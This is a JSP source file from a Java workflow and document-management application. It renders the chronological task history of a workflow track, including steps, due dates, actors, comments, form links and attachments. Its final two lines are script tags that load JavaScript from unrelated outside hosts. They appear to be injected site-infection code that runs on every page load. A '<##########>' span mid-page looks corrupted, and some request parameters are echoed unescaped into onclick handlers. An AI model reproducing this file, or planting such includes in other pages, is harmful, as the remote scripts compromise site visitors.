<%try{%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.staff.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<%@ page import="com.dcivision.setup.dao.*"%>
<%@ page import="com.dcivision.form.web.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="java.util.*, java.sql.Connection"%>
<%@ page import="org.quartz.JobDataMap"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="workflowProgress" scope="page" class="com.dcivision.workflow.bean.WorkflowProgress"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<table width="800" border="0" cellpadding="0" cellspacing="1">
<%
String isShow=request.getParameter("isShow");
if(Utility.isEmpty(isShow) || GlobalConstant.TRUE.equals(isShow)){
%>
 <tr>
   <td align="right"><bean:message key='common.label.priority'/>:
   <b><bean:message key='common.priority.label_1'/></b>&nbsp;&nbsp;
   <b><font color='red'>!</font></b>&nbsp;&nbsp;<b><bean:message key='common.priority.label_2'/></b>&nbsp;&nbsp;
   <b><font color='red'>!!</font></b>&nbsp;&nbsp;<b><bean:message key='common.priority.label_3'/></b>&nbsp;&nbsp;
   </td>
 </tr>
<%} %>
 <tr>
   <td align="left">
   <b><bean:message key='workflow.label.list_of_task_in_chronological_order'/></b>  
   </td>
 </tr>
 <%!
  public String escapeJSString(String inStr) {
    if (inStr == null) {
      return("");
    }
    String output = inStr;
    output = TextUtility.replaceString(output, "\r", "");
    output = TextUtility.replaceString(output, "\\", "\\\\");
    output = TextUtility.replaceString(output, "\n", "<br>");
    output = TextUtility.replaceString(output, "'", "\\'");
    output = TextUtility.replaceString(output, "\"","\\\"");
    return(output);
  }
%>
<%
  // Get the database connection.
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  WorkflowProgressDAObject workflowProgressDAO = new WorkflowProgressDAObject(sessionContainer, conn);
  WorkingCalendarDAObject workingCalendarDAO = new WorkingCalendarDAObject(sessionContainer, conn);
  WorkflowStepDAObject workflowStepDAO = new WorkflowStepDAObject(sessionContainer, conn);
  MtmWorkflowDynamicUserActorDAObject dynamicUserDAO = new MtmWorkflowDynamicUserActorDAObject(sessionContainer, conn);
  MtmWorkflowStepUserActorDAObject mtmWorkflowStepUserActorDAO = new MtmWorkflowStepUserActorDAObject(sessionContainer, conn);
  MtmWorkflowProgressUserRecordDAObject mtmWorkflowProgressUserRecordDAO = new MtmWorkflowProgressUserRecordDAObject(sessionContainer, conn);
  List progressList = workflowProgressDAO.getListByTrackID(TextUtility.parseIntegerObj(request.getParameter("trackID")));
  MtmWorkflowStepUserActorDAObject mtmWorkflowStepUserActorDAObject = new MtmWorkflowStepUserActorDAObject(sessionContainer, conn);
  int lastTaskCompletedByUser=-1;
  WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, conn);
  MtmWorkflowProgressSystemObjectDAObject progressObjDAO = new MtmWorkflowProgressSystemObjectDAObject(sessionContainer, conn);
  DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);
  DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);
   FormSubmissionDAObject submissionDAO = new FormSubmissionDAObject(sessionContainer, conn);

  //DmsRootDAObject dmsRootDAO = new DmsRootDAObject(sessionContainer, conn);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();

/*
  //* for rollback to previous step
  for (int i = 0; i < progressList.size(); i++) {  
    workflowProgress = (WorkflowProgress)progressList.get(i);
    WorkflowStep workflowStep = (WorkflowStep)workflowStepDAO.getObjectByID(workflowProgress.getWorkflowStepID());
    List userList = mtmWorkflowProgressUserRecordDAO.getListByWorkflowProgressID(workflowProgress.getID());
    for (int j = 0; j<userList.size(); j++) {
      MtmWorkflowProgressUserRecord progressUserRecord = (MtmWorkflowProgressUserRecord)userList.get(j);
      boolean bIsUpdater = progressUserRecord.getUserRecordID().equals(sessionContainer.getUserID());
      boolean bIsPending = workflowProgress.getStatus().equals(WorkflowProgress.STATUS_PENDING);
      boolean bIsAutomaticTask = workflowStep.getActionType().equals(WorkflowStep.ACTION_TYPE_SYSTEM_AUTO);
      boolean bIsSubmitTask = workflowStep.getActionType().equals(WorkflowStep.ACTION_TYPE_SUBMIT);
      if (bIsUpdater && !bIsPending && !bIsAutomaticTask && ! bIsSubmitTask) {
        lastTaskCompletedByUser = i;
      }
    }
  }
*/
  %>
  <tr>
    <td>
    <table bgcolor="#727272" cellpadding="0" cellspacing="1" border="0" width='100%'><tr><td bgcolor="#FFFFFF" valign="top">
    <table border="0" cellpadding="1" cellspacing="1" width='100%'>
        <tr class="columnHead">
          <td class="columnLabel"><bean:message key='workflow.columnheader.step_name'/></td>
          <td class="columnLabel" width='15%'><bean:message key='workflow.label.due_date'/></td>
          <td class="columnLabel"><bean:message key='workflow.report.action_history'/></td>    
        </tr>
  <%
  for (int i = 0, stepCount=0; i < progressList.size(); i++) {  
    workflowProgress = (WorkflowProgress)progressList.get(i);
    pageContext.setAttribute("workflowProgress", workflowProgress);
    WorkflowStep workflowStep = (WorkflowStep)workflowStepDAO.getObjectByID(workflowProgress.getWorkflowStepID());
    //pageContext.setAttribute("workflowStep", workflowStep);
    List userList = mtmWorkflowProgressUserRecordDAO.getProcessedListByWorkflowProgressID(workflowProgress.getID());
    List dynamicActorList = dynamicUserDAO.getListByWorkflowProgressID(workflowProgress.getID());
    List actorList = mtmWorkflowStepUserActorDAO.getListByWorkflowStepID(workflowStep.getID());

    String status = workflowProgress.getStatus();
    if (WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(workflowStep.getActionType())) continue;
    //if (!GlobalConstant.TRUE.equals(workflowProgress.getCancelFlag()) && workflowProgress.getUpdaterID().intValue() == 0) continue;
    stepCount++;

    %>
  
    <% if (WorkflowProgress.STATUS_PENDING.equals(status)) { %>
    <tr bgcolor="#CCCCFF">
    <% } else { %>
    <tr class="grey<%= stepCount % 2 == 0 ? "D" : "E" %>">
    <% } %>
      
         <!-- Step Seq No. -->
         <!--td align="left" valign="top"><nobr><b>&nbsp;<%= stepCount %>.</b></nobr></td-->
         
         <wfm:permission  right='*' workflowProgress ='<%=(WorkflowProgress)workflowProgress%>'>
         <!--Priority & Step Name-->
         <td valign="top">
          <wfm:priority workflowProgress='<%=(WorkflowProgress)workflowProgress%>'/>
          <nobr><b>&nbsp;<%= stepCount %>.</b></nobr>
          </font><bean:write name='workflowProgress' property='stepName'/></b>
          </td>
          
          <!-- Due Date-->
          <td valign="top" >
          <wfm:dueDate status='<%=((WorkflowProgress)workflowProgress).getStatus()%>' dueDate='<%=((WorkflowProgress)workflowProgress).getDueDate()%>'/>         
          </td>                
          
          <!-- Instruction --> 
          <!--td valign="top">                        
              <bean:write name='workflowProgress' property='stepDescription'/> 
          </td-->        
          
          <!-- Actor -->
          <!--td valign="top"> 
            <table border="0" cellpadding="0" cellspacing="0">
              <tr>
                  <td valign="top"><wfm:ownerInfo stepID="<%=workflowStep.getID()%>" showEmail="true"/>
                  <%if (WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(workflowStep.getActionType())) {%>
                    <html:img src='IconAuto.gif'  align='absmiddle'/>
                    <bean:message key='workflow.label.automatic_task'/>
                  <%}%>
                  </td>
                </tr>
              </table>
            </td-->
          
          <!-- Workflow Rule -->
          <!--td valign="top"> 
          <% if (WorkflowStep.ACTION_TYPE_APPROVAL.equals(workflowStep.getActionType())) { %>
            <b><bean:message key='workflow.label.rule_desc' arg0='<%= workflowStep.getWorkflowRule() %>'/></b>          
          <% } else { %>
          <% } %>
          </td-->
          
          
          <!--  Display processed this task user Begin -->   
            <td valign="top">
          <!-- TC for bug[5396] --> 
          <%if(!WorkflowStep.ACTION_TYPE_END.equals(workflowStep.getActionType())){%>
            <!--- Display dynamic assigned to actors Begin -->            
            <%if(!Utility.isEmpty(dynamicActorList)){%>              
                <table border="0" cellpadding="2" cellspacing="2">
                  <tr>
                    <td><bean:message key='workflow.label.assigned_to'/>:</td>                  
                    <td>
                      <wfm:ownerInfo stepID="<%=workflowStep.getID()%>" userActorList="<%=dynamicActorList%>" showEmail="true"/>                    
                    </td>
                  </tr>
                </table>             
            <%}%>
            
            <!--- Display dynamic assigned to actors End   -->
            <%
                if ( WorkflowProgress.STATUS_LOCK.equals(status) ) {
                  // Special handling for locked progress ( waiting for approval of interrupt request )
                  // In this case, there will be no record in the mtm_wf_progress_user_record (except checkout user)
                  MtmWorkflowProgressUserRecord tmp1 = new MtmWorkflowProgressUserRecord();
                  tmp1.setWorkflowAction ( WorkflowProgress.STATUS_LOCK );
                  tmp1.setUpdateDate ( workflowProgress.getUpdateDate() );
                  tmp1.setUserRecordID ( workflowProgress.getUpdaterID() );
                  tmp1.setUserRecordName ( UserInfoFactory.getUserFullName(workflowProgress.getUpdaterID()) );
                  userList.clear(); // Ignore any checked out user record
                  userList.add ( tmp1 );
                }
            %>
            <table border='0' width='100%'> 
                        
            <%String  oldAction = "";
              for (int j = 0; j < userList.size(); j++) {                 
            %> 
            <tr> <td valign='top' width='20%'>
              <% MtmWorkflowProgressUserRecord progressUserRecord = (MtmWorkflowProgressUserRecord)userList.get(j);%>
              <% if (WorkflowProgress.STATUS_IN_PROGRESS.equals(progressUserRecord.getWorkflowAction()) || !(WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(workflowStep.getActionType()) || WorkflowStep.ACTION_TYPE_FORM_DRIVEN.equals(workflowStep.getActionType()))) { %>
              <%if (!oldAction.equals( progressUserRecord.getWorkflowAction() )) {
                  oldAction = progressUserRecord.getWorkflowAction();
              %>
              <bean:message key='<%= "workflow.label.action_by_" + progressUserRecord.getWorkflowAction() %>'/>:
              <%} else { %>
              &nbsp;
              <%}%>
              </td>
              </tr>
              <tr>
              <td style="padding-left:20px;">
              <%
                 // Added by Lun to display the actual decision
                 // TODO: make the code better
             	} else if ( WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(workflowStep.getActionType()) ) {
                   WorkflowStepRouteDAObject stepRouteDAO = new WorkflowStepRouteDAObject(sessionContainer, conn);
                   List tmpList = stepRouteDAO.getListByWorkflowStepID(workflowStep.getID());
                   String workflowRouteArr[][] = new String[tmpList.size()+2][];
                   workflowRouteArr[0] = new String[] {MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one"), ""};
                   for (int k=0; k<tmpList.size(); k++) {
                     WorkflowStepRoute stepRoute = (WorkflowStepRoute) tmpList.get(k);
                     workflowRouteArr[k+1] = new String[] {stepRoute.getRouteName(), WorkflowStep.PARENT_TYPE_SINGLE + stepRoute.getRouteSeq()};
                   }
                   //String arg0 = workflowRouteArr[Integer.parseInt(progressUserRecord.getWorkflowAction().substring(1))+1][0];//simon_del
                   String arg0 = "";
                   if(!Utility.isEmpty(progressUserRecord.getOperationParameter())){
                     arg0 = workflowRouteArr[Integer.parseInt(progressUserRecord.getOperationParameter().substring(1))+1][0];//simon_add
                   }
              %>
              <bean:message key='<%= "workflow.label.action_by_U"%>' arg0='<%=arg0%>'/>:
              <%}else{%>
              <bean:message key='<%= "workflow.label.action_by_G"%>'/>:
              <%} %>
              <%
                 String email = UserInfoFactory.getUserEmailAddress(progressUserRecord.getUserRecordID());
                 WorkflowProgressManager wfProgressManager = new WorkflowProgressManager(sessionContainer, conn);
                 List attachList = wfProgressManager.getWorkflowProgressAttachmentListByMtmWorkflowProgressUserRecordID(progressUserRecord.getID());
              %>
              <b><% if (!Utility.isEmpty(email)) { %><a href="mailto:<%= email %>"><% } %>
              
              <%if (!Utility.isEmpty(progressUserRecord.getDelegateUserRecordID()) ) {%>
              <font color='red'> * </font><a href='#' onmouseover="return getPopupInfo('<b><u style=\'font-size:11px\'><bean:message key='workflow.label.delegate_by'/>:</u></b><br><nobr><%=UserInfoFactory.getUserFullName(progressUserRecord.getDelegateUserRecordID())%></nobr>');" onmouseout="return nd();"><%=UserInfoFactory.getUserFullName(progressUserRecord.getUserRecordID())%> </a>
              <%} else {%>
              <%= UserInfoFactory.getUserFullName(progressUserRecord.getUserRecordID()) %>
              <%}%>              
              
</a><%
                          if ( stepCount == 1 ) {
                            WorkflowRecord workflowRecord = (WorkflowRecord)recordDAO.getObjectByID(TextUtility.parseIntegerObj(request.getParameter("workflowRecordID")));
                            if ( workflowRecord!=null && workflowRecord.getWorkflowCategoryID()!=null){
                              if ( SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(String.valueOf(workflowRecord.getWorkflowCategoryID())) ) {

                // TODO: Remove the DAO access in JSP pages.
                StringBuffer sbUsers = new StringBuffer();
                StaffRecordDAObject staffRecordDAO = new StaffRecordDAObject(sessionContainer, conn);
                StaffHierarchyDAObject staffHierarchyDAO = new StaffHierarchyDAObject(sessionContainer, conn);
                StaffRecord staffRecord = (StaffRecord)staffRecordDAO.getObjectByUserRecordID(progressUserRecord.getUserRecordID());
                List fullHierarchyList = staffHierarchyDAO.getFullList();
                Map hierarchy = new HashMap();
                for ( int z = 0 ; z < fullHierarchyList.size() ; z++ ) {
                  StaffHierarchy staffHierarchy = (StaffHierarchy)fullHierarchyList.get(z);
                  hierarchy.put ( staffHierarchy.getID(), staffHierarchy );
                }
                if ( !Utility.isEmpty(staffRecord.getLevel1ID()) && hierarchy.containsKey(staffRecord.getLevel1ID()) ) {
                  sbUsers.append(" (").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel1ID()) ).getName() );
                  if ( !Utility.isEmpty(staffRecord.getLevel2ID()) && hierarchy.containsKey(staffRecord.getLevel2ID()) ) {
                    sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel2ID()) ).getName() );
                    if ( !Utility.isEmpty(staffRecord.getLevel3ID()) && hierarchy.containsKey(staffRecord.getLevel3ID()) ) {
                      sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel3ID()) ).getName() );
                      if ( !Utility.isEmpty(staffRecord.getLevel4ID()) && hierarchy.containsKey(staffRecord.getLevel4ID()) ) {
                        sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel4ID()) ).getName() );
                        if ( !Utility.isEmpty(staffRecord.getLevel5ID()) && hierarchy.containsKey(staffRecord.getLevel5ID()) ) {
                          sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel5ID()) ).getName() );
                          if ( !Utility.isEmpty(staffRecord.getLevel6ID()) && hierarchy.containsKey(staffRecord.getLevel6ID()) ) {
                            sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel6ID()) ).getName() );
                            if ( !Utility.isEmpty(staffRecord.getLevel7ID()) && hierarchy.containsKey(staffRecord.getLevel7ID()) ) {
                              sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel7ID()) ).getName() );
                              if ( !Utility.isEmpty(staffRecord.getLevel8ID()) && hierarchy.containsKey(staffRecord.getLevel8ID()) ) {
                                sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel8ID()) ).getName() );
                                if ( !Utility.isEmpty(staffRecord.getLevel9ID()) && hierarchy.containsKey(staffRecord.getLevel9ID()) ) {
                                  sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel9ID()) ).getName() );
                                  if ( !Utility.isEmpty(staffRecord.getLevel10ID()) && hierarchy.containsKey(staffRecord.getLevel10ID()) ) {
                                    sbUsers.append("\\").append( ((StaffHierarchy)hierarchy.get(staffRecord.getLevel10ID()) ).getName() );
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                  sbUsers.append(")");
                }
                out.println(sbUsers.toString());


                              }
                            }
                          }

              %></b>
              <bean:message key='calendar.columnheader.at'/>
              <b><%= TextUtility.formatDate(progressUserRecord.getUpdateDate(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT)) %></b>
              <!--- Display form submission step Begin -->

              <!-- Display the operate form in this step -->
              
             <!-- Display the submit form in this step -->             
             <%
                String url = request.getContextPath()+"/form/MaintFormSubmission.do?navMode=V&function=WORKFLOW&SHOW_HEADER_FOOTER=N&hideTitle=Y&isViewUserStep=true&progressID="+workflowProgress.getID()+"&userRecordID="+progressUserRecord.getUserRecordID()+"&workflowStepID="+workflowStep.getID()+"&formSubmissionID=";
                
                 FormRecordDAObject formRecordDAO = new  FormRecordDAObject(sessionContainer, conn);
                 List handleFormList = formRecordDAO.getHandleFormListByWorkflowProgressIDUserID(workflowProgress.getID(), progressUserRecord.getUserRecordID() );
                 for (int k=0; k<handleFormList.size(); k++) {
                   FormRecord formRecord = (FormRecord)handleFormList.get(k);
                   //url += formRecord.getFormSubmissionID();
                       if(!Utility.isEmpty(formRecord.getFormDocID())){
                       FormSubmission formSub = (FormSubmission)submissionDAO.getObjectByTrackIDFormRecordIDWorkflowRecordID(workflowProgress.getTrackID(), formRecord.getID(), workflowStep.getWorkflowRecordID());
                       %>
             <html:img src='IconDMSFileExtPDF.gif'  align='absmiddle'/>
             <a href="#" onclick="javascript:window.open('<%=request.getContextPath()%>/form/GenerateXML.do?navMode=V&formRecordID=<%=formRecord.getID()%>&formSubmissionID=<%=formSub.getID()%>&isViewTask=Y&workflowStepID=<%=workflowStep.getID()%>&workflowRecordID=<%=request.getParameter("workflowRecordID")%>&formDocID=<%=formRecord.getFormDocID()%>&status=R','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80');">
             <%=formRecord.getFormCode() + " - " + formRecord.getTitle() + " (" + formRecord.getFormVersion() + ")"%></a>
             <%
                       }else{
                       %>
                         <html:img src='IconMenu-FMB_SUBMISSION.gif'  align='absmiddle'/>
             <a href="#" onclick="return OpenCenteredPopup('<%=url+formRecord.getFormSubmissionID()+"&formRecordID="+formRecord.getID()%>', 'DCIVisionWFPopUp',800,600,'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no,screenX=0,screenY=0,left=0,top=0');" target="_blank">
             <%=formRecord.getFormCode() + " - " + formRecord.getTitle() + " (" + formRecord.getFormVersion() + ")"%></a>                 
                       <%
                       }
                 }
             %>
             <!--- Display form submission step End -->
             </td>
             </tr>
             <tr>
             <td style="padding-left:40px;">
              <!-- Comment -->
              <% if (!Utility.isEmpty(progressUserRecord.getReason())) { %>             
                <bean:message key='workflow.label.progress_comment'/>:&nbsp;
                <b style='font-size:11px'><%=escapeJSString(progressUserRecord.getReason())%></b>
              <% } %>              
              </td>
              </tr>
              <tr>
              <td style="padding-left:40px;">
              <!-- Attachment File --> 
              <%if (!Utility.isEmpty(attachList)) {%>
                <bean:message key='upload.label.attachment'/>:&nbsp;             
              <%} %>               
              <% for (int k = 0; k < attachList.size(); k++) { %>
                  <% WorkflowProgressAttachment attachment = (WorkflowProgressAttachment)attachList.get(k);

                  if(WorkflowProgressAttachment.ATTACHED_DMS_VERSION_SYSTEM_ID.equals(attachment.getAttachmentType()) ){
                   String versionID = attachment.getExternalID();
                   DmsVersion dmsVersion = (DmsVersion)dmsVersionDAO.getObjectByID(new Integer(versionID));
                   Integer dmsDocumentID = dmsVersion.getDocumentID();
                   DmsDocument dmsDocument = (DmsDocument)dmsDocumentDAO.getObjectByID(dmsDocumentID);
                   String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getParentID());              
               %>               
                 <dms:documentInfo docObject='<%=dmsDocument%>' permission='R' version='<%=versionID%>' linkFlag='false' inviteToRead = 'true' showIndexLayer='true'/>   
                                          
            <% } else if (!Utility.isEmpty(attachment.getExternalID())) {
                         if (attachment.getFlowType().equals("S")) { %>              
                <a href="GetWorkflowProgressAttachmentServlet?ID=<%=attachment.getID()%>" target="_blank"><html:img src='IconFile.gif'  align='absmiddle' /><%= attachment.getAttachmentName() %></a>              
              <% } else if (attachment.getFlowType().equals("N")) { %>              
                <a href="GetWorkflowProgressAttachmentServlet?ID=<%=attachment.getID()%>" target="_blank"><html:img src='IconCamera.gif'  align='absmiddle' alt='<%= attachment.getAttachmentName() %>'/><%= attachment.getAttachmentName() %></a>              
              <% }
               } %>
              <!-- </td></tr>   -->        
              <% } %>           
             </td>
             </tr>
            <% } %>
            </table><%}%>
            </td>
          <!--</tr>-->
      <!--  Display processed this task user End   -->
      
      <!-- Over Due -->
      <!--td valign="top">
      <% if (workflowProgress.getUpdaterID().intValue() == 0) {
          String routeMsg = "";
          Integer routeStepID = workflowStep.getOnNoResponseNextStepID();
        if (routeStepID!=null){
          WorkflowStep routeStep = (WorkflowStep) workflowStepDAO.getObjectByID(routeStepID);
          routeMsg = routeStep.getStepSeq() + "." + routeStep.getStepName();
        }
      %>    
            <bean:message key='workflow.label.auto'/> <bean:message key='<%="workflow.label.step_status_"+workflowProgress.getStatus()%>'/>.
      <% if (!"".equals(routeMsg)){ %>
            <bean:message key='workflow.label.route_to'/> <b><%=routeMsg%></b>
      <% } %>
      <% }else { %>
      -
      <% }%>
      </td-->
      
      
<%
        if (lastTaskCompletedByUser==i) {
%>        
          <td colspan="2" align="center">
            <html:standardButton label="workflow.label.step_status_B" link='<%=request.getContextPath()+"/jsp/workflow/MaintWorkflowProgressRollback.jsp?workflowProgressID=${workflowProgress.ID}"%>'/>
          </td>
<%
        }
%>        
        </tr>
         <##########>
          <td align='center' colspan='4' >
             <b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <bean:message key="workflow.label.no_access_right"/></b>
         </td>         
         </tr>      
       </wfm:permission>     
<%
  }
%> 
 </table>
    </td></tr></table>
    </td>
  </tr>
  <tr>
    <td><html:img src='Spacer.gif' height='5'/></td>
  </tr>
</table>    
<%}catch(Exception ex){
 LogFactory.getLog(this.getClass()).error(ex, ex);
}%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>